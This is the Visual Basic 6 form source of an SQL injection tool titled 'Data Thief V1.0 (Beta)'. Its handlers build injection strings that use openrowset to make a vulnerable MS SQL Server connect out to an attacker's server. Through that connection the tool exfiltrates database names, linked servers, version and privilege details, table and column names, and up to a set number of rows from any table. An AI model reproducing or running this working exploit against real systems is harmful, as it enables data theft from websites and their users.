VERSION 5.00
Object = "{3B7C8863-D78F-101B-B9B5-04021C009402}#1.2#0"; "RICHTX32.OCX"
Begin VB.Form FrmMain 
   Caption         =   "Data Thief V1.0 (Beta)"
   ClientHeight    =   7500
   ClientLeft      =   60
   ClientTop       =   345
   ClientWidth     =   9795
   LinkTopic       =   "Form1"
   LockControls    =   -1  'True
   ScaleHeight     =   7500
   ScaleWidth      =   9795
   StartUpPosition =   2  'CenterScreen
   Begin VB.Frame Frame1 
      Height          =   690
      Left            =   60
      TabIndex        =   18
      Top             =   0
      Width           =   9615
      Begin VB.TextBox TxtPort 
         Height          =   285
         Left            =   6600
         MaxLength       =   5
         TabIndex        =   3
         Text            =   "1433"
         Top             =   270
         Width           =   735
      End
      Begin VB.TextBox TxtMaxRows 
         Height          =   285
         Left            =   8655
         MaxLength       =   4
         TabIndex        =   33
         Text            =   "100"
         Top             =   270
         Width           =   855
      End
      Begin VB.TextBox TxtLogin 
         Height          =   285
         Left            =   3360
         MaxLength       =   16
         TabIndex        =   1
         Text            =   "sa"
         Top             =   270
         Width           =   975
      End
      Begin VB.TextBox TxtPassword 
         Height          =   285
         IMEMode         =   3  'DISABLE
         Left            =   4980
         MaxLength       =   16
         PasswordChar    =   "*"
         TabIndex        =   2
         Top             =   270
         Width           =   855
      End
      Begin VB.TextBox TxtServer 
         Height          =   285
         Left            =   1155
         MaxLength       =   30
         TabIndex        =   0
         Text            =   "makina\makina"
         Top             =   270
         Width           =   1545
      End
      Begin VB.Label Label13 
         AutoSize        =   -1  'True
         Caption         =   "Port :"
         Height          =   195
         Left            =   6120
         TabIndex        =   35
         Top             =   300
         Width           =   375
      End
      Begin VB.Label Label12 
         AutoSize        =   -1  'True
         Caption         =   "Max. Rows :"
         Height          =   195
         Left            =   7710
         TabIndex        =   34
         Top             =   300
         Width           =   885
      End
      Begin VB.Label Label3 
         AutoSize        =   -1  'True
         Caption         =   "Login :"
         Height          =   195
         Left            =   2805
         TabIndex        =   21
         Top             =   300
         Width           =   480
      End
      Begin VB.Label Label2 
         AutoSize        =   -1  'True
         Caption         =   "Pwd :"
         Height          =   195
         Left            =   4470
         TabIndex        =   20
         Top             =   300
         Width           =   405
      End
      Begin VB.Label Label1 
         AutoSize        =   -1  'True
         Caption         =   "Sql Server :"
         Height          =   195
         Left            =   210
         TabIndex        =   19
         Top             =   300
         Width           =   825
      End
   End
   Begin VB.Frame Frame2 
      Height          =   1185
      Left            =   60
      TabIndex        =   22
      Top             =   690
      Width           =   9630
      Begin VB.TextBox TxtPostData 
         Enabled         =   0   'False
         Height          =   285
         Left            =   1080
         MaxLength       =   500
         TabIndex        =   7
         Top             =   720
         Width           =   6900
      End
      Begin VB.CommandButton CmdGo 
         Caption         =   "Go"
         Height          =   390
         Left            =   8880
         TabIndex        =   6
         Top             =   240
         Width           =   660
      End
      Begin VB.ComboBox CboMethod 
         Height          =   315
         ItemData        =   "Main.frx":0000
         Left            =   7965
         List            =   "Main.frx":000A
         Style           =   2  'Dropdown List
         TabIndex        =   5
         Top             =   255
         Width           =   780
      End
      Begin VB.TextBox TxtUrl 
         Height          =   285
         Left            =   450
         MaxLength       =   500
         TabIndex        =   4
         Text            =   "http://makina/testcon.asp?txt=1'; <***>"
         Top             =   255
         Width           =   6780
      End
      Begin VB.Label Label14 
         AutoSize        =   -1  'True
         Caption         =   "Post Data :"
         Height          =   195
         Left            =   240
         TabIndex        =   36
         Top             =   735
         Width           =   795
      End
      Begin VB.Label Label5 
         AutoSize        =   -1  'True
         Caption         =   "Method :"
         Height          =   195
         Left            =   7290
         TabIndex        =   24
         Top             =   300
         Width           =   630
      End
      Begin VB.Label Label4 
         AutoSize        =   -1  'True
         Caption         =   "Url :"
         Height          =   195
         Left            =   105
         TabIndex        =   23
         Top             =   300
         Width           =   300
      End
   End
   Begin RichTextLib.RichTextBox TxtOutput 
      Height          =   2085
      Left            =   15
      TabIndex        =   17
      Top             =   5400
      Width           =   9705
      _ExtentX        =   17119
      _ExtentY        =   3678
      _Version        =   393217
      Enabled         =   -1  'True
      ScrollBars      =   2
      AutoVerbMenu    =   -1  'True
      TextRTF         =   $"Main.frx":0019
   End
   Begin VB.Frame Frame4 
      Height          =   645
      Left            =   45
      TabIndex        =   30
      Top             =   4410
      Width           =   9660
      Begin VB.CommandButton CmdRunQuery 
         Caption         =   "Run Query"
         Height          =   390
         Left            =   8400
         TabIndex        =   16
         Top             =   180
         Width           =   1140
      End
      Begin VB.TextBox TxtQuery 
         Enabled         =   0   'False
         Height          =   285
         Left            =   705
         TabIndex        =   15
         Text            =   "Select "
         Top             =   225
         Width           =   7575
      End
      Begin VB.Label Label10 
         AutoSize        =   -1  'True
         Caption         =   "Query :"
         Height          =   195
         Left            =   135
         TabIndex        =   31
         Top             =   270
         Width           =   510
      End
   End
   Begin VB.Frame Frame3 
      Height          =   2475
      Left            =   60
      TabIndex        =   25
      Top             =   1920
      Width           =   9660
      Begin VB.CheckBox ChkSysTables 
         Alignment       =   1  'Right Justify
         Caption         =   "List system tables"
         Height          =   615
         Left            =   3240
         TabIndex        =   10
         Top             =   1440
         Width           =   1215
      End
      Begin VB.ListBox LstFields 
         Height          =   2085
         Left            =   7560
         Style           =   1  'Checkbox
         TabIndex        =   14
         Top             =   345
         Width           =   1935
      End
      Begin VB.ListBox LstTables 
         Height          =   2010
         Left            =   4500
         TabIndex        =   12
         Top             =   390
         Width           =   1710
      End
      Begin VB.ListBox LstDatabases 
         Height          =   2010
         Left            =   1605
         TabIndex        =   9
         Top             =   375
         Width           =   1590
      End
      Begin VB.ListBox LstLinkedServer 
         Height          =   2010
         Left            =   135
         TabIndex        =   8
         Top             =   375
         Width           =   1395
      End
      Begin VB.CommandButton CmdListFields 
         Caption         =   "List Fields>>"
         Height          =   390
         Left            =   6360
         TabIndex        =   13
         Top             =   615
         Width           =   1140
      End
      Begin VB.CommandButton CmdListTables 
         Caption         =   "List Tables>>"
         Height          =   390
         Left            =   3285
         TabIndex        =   11
         Top             =   615
         Width           =   1140
      End
      Begin VB.Label Label9 
         AutoSize        =   -1  'True
         Caption         =   "Fields :"
         Height          =   195
         Left            =   7485
         TabIndex        =   29
         Top             =   150
         Width           =   495
      End
      Begin VB.Label Label8 
         AutoSize        =   -1  'True
         Caption         =   "Tables :"
         Height          =   195
         Left            =   4515
         TabIndex        =   28
         Top             =   165
         Width           =   570
      End
      Begin VB.Label Label7 
         AutoSize        =   -1  'True
         Caption         =   "Databases :"
         Height          =   195
         Left            =   1710
         TabIndex        =   27
         Top             =   150
         Width           =   855
      End
      Begin VB.Label Label6 
         AutoSize        =   -1  'True
         Caption         =   "Linked Servers :"
         Height          =   195
         Left            =   195
         TabIndex        =   26
         Top             =   135
         Width           =   1155
      End
   End
   Begin VB.Label Label11 
      AutoSize        =   -1  'True
      Caption         =   "Results :"
      Height          =   195
      Left            =   120
      TabIndex        =   32
      Top             =   5160
      Width           =   615
   End
End
Attribute VB_Name = "FrmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit

Dim Url As String
Dim PostData As String
Dim Method As String

Private Sub CboMethod_Click()
    If CboMethod.ListIndex Then
        TxtPostData.Enabled = True
    Else
        TxtPostData.Enabled = False
    End If
End Sub

Private Sub CmdGo_Click()
Dim DATABASES_INJECTION_STR As String
Dim SERVERS_INJECTION_STR As String
Dim VERSION_INJECTION_STR As String
On Error GoTo DisplayError
    
If TxtUrl.Text <> "" Then
    If (CboMethod.Text = "POST" And TxtPostData.Text <> "") Or (CboMethod.Text = "GET") Then
        DATABASES_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##databases') select name from master.dbo.sysdatabases--"
        SERVERS_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##servers') select srvname from master.dbo.sysservers--"
        VERSION_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##version') select @@VERSION union all select 'Login name: ' %2B suser_sname() %2B char(13) %2B 'User name: ' %2B user %2B char(13) %2B 'Is db_owner: ' %2B convert(varchar(1),IS_MEMBER ('db_owner') ) %2B char(13) %2B 'Is sysadmin: ' %2B convert(varchar(1),IS_SRVROLEMEMBER('sysadmin'))  --"
        ClearLists
            
        Connect TxtServer.Text, TxtLogin.Text, TxtPassword.Text, TxtPort.Text
        CreateTables
        SetVars
        SubmitInjection Url, Method, PostData, DATABASES_INJECTION_STR
        SetVars
        SubmitInjection Url, Method, PostData, SERVERS_INJECTION_STR
        SetVars
        SubmitInjection Url, Method, PostData, VERSION_INJECTION_STR
        GetVersion
        GetServers
        GetDatabases
    Else
        MsgBox "Please, Input the post data value"
    End If
Else
    MsgBox "Please, Input the url value"
End If
    
Exit Sub
DisplayError:
MsgBox Err.Description
End Sub

Private Sub CmdListFields_Click()
Dim FIELDS_INJECTION_STR As String
On Error GoTo DisplayError
    
If LstTables.List(LstTables.ListIndex) <> "" Then
    FIELDS_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##fields') select name from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo.syscolumns where id=object_id('" + LstDatabases.List(LstDatabases.ListIndex) + ".." + LstTables.List(LstTables.ListIndex) + "')--"
    SetVars
    TxtQuery.Text = "Select "
    
    SubmitInjection Url, Method, PostData, FIELDS_INJECTION_STR
    GetFields
Else
    MsgBox "Please, Select a table"
End If

Exit Sub
DisplayError:
MsgBox Err.Description
End Sub

Private Sub CmdListTables_Click()
Dim TABLES_INJECTION_STR As String
On Error GoTo DisplayError

If LstDatabases.List(LstDatabases.ListIndex) <> "" Then
    If ChkSysTables Then
        TABLES_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##tables') select name from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo.sysobjects where xtype='U' or xtype='S'--"
    Else
        TABLES_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##tables') select name from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo.sysobjects where xtype='U'--"
    End If
    SetVars
    LstFields.Clear
    TxtQuery.Text = "Select "
    
    SubmitInjection Url, Method, PostData, TABLES_INJECTION_STR
    GetTables
Else
    MsgBox "Please, Select a Database"
End If
    
Exit Sub
DisplayError:
MsgBox Err.Description
End Sub

Private Sub CmdRunQuery_Click()
Dim Fields As String
Dim Query As String
Dim QUERY_INJECTION_STR As String
On Error GoTo DisplayError

    If TxtQuery.Text <> "Select " Then
        SetVars
        Fields = Left(TxtQuery.Text, Len(TxtQuery) - 1)
        Fields = Replace(Fields, "Select ", "")
        Query = "Select top " + TxtMaxRows.Text + " " + Fields + " from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo." + LstTables.List(LstTables.ListIndex)
        CreateTableResults Fields
        QUERY_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##tableresults')" + Query + "--"
        
        SubmitInjection Url, Method, PostData, QUERY_INJECTION_STR
        GetResults
    Else
        MsgBox "Please, Select One or More Fields"
    End If

Exit Sub
DisplayError:
MsgBox Err.Description
End Sub

Private Sub Form_Load()
    CboMethod.ListIndex = 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
On Error GoTo DisplayError
    
    Disconnect
    End
    
Exit Sub
DisplayError:
MsgBox Err.Description
End Sub

Private Sub LstFields_ItemCheck(Item As Integer)
On Error GoTo DisplayError

    If InStr(1, TxtQuery.Text, " from", vbTextCompare) Then
        TxtQuery.Text = Replace(TxtQuery.Text, " from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo." + LstTables.List(LstTables.ListIndex), "")
        TxtQuery.Text = TxtQuery.Text + ","
    End If
    If LstFields.Selected(Item) Then
        TxtQuery.Text = TxtQuery.Text + LstFields.List(Item) + ","
    Else
        TxtQuery.Text = Replace(TxtQuery.Text, LstFields.List(Item) + ",", "")
    End If

Exit Sub
DisplayError:
MsgBox Err.Description
End Sub

Private Sub ClearLists()
    LstLinkedServer.Clear
    LstDatabases.Clear
    LstTables.Clear
    LstFields.Clear
End Sub

Private Sub SetVars()
    Url = TxtUrl.Text
    PostData = TxtPostData.Text
    Method = CboMethod.Text
End Sub

Private Sub TxtMaxRows_KeyPress(KeyAscii As Integer)
    If Not IsNumeric(Chr(KeyAscii)) And KeyAscii <> 8 Then
        KeyAscii = 0
    End If
End Sub

Private Sub TxtPort_KeyPress(KeyAscii As Integer)
    If Not IsNumeric(Chr(KeyAscii)) And KeyAscii <> 8 Then
        KeyAscii = 0
    End If
End Sub
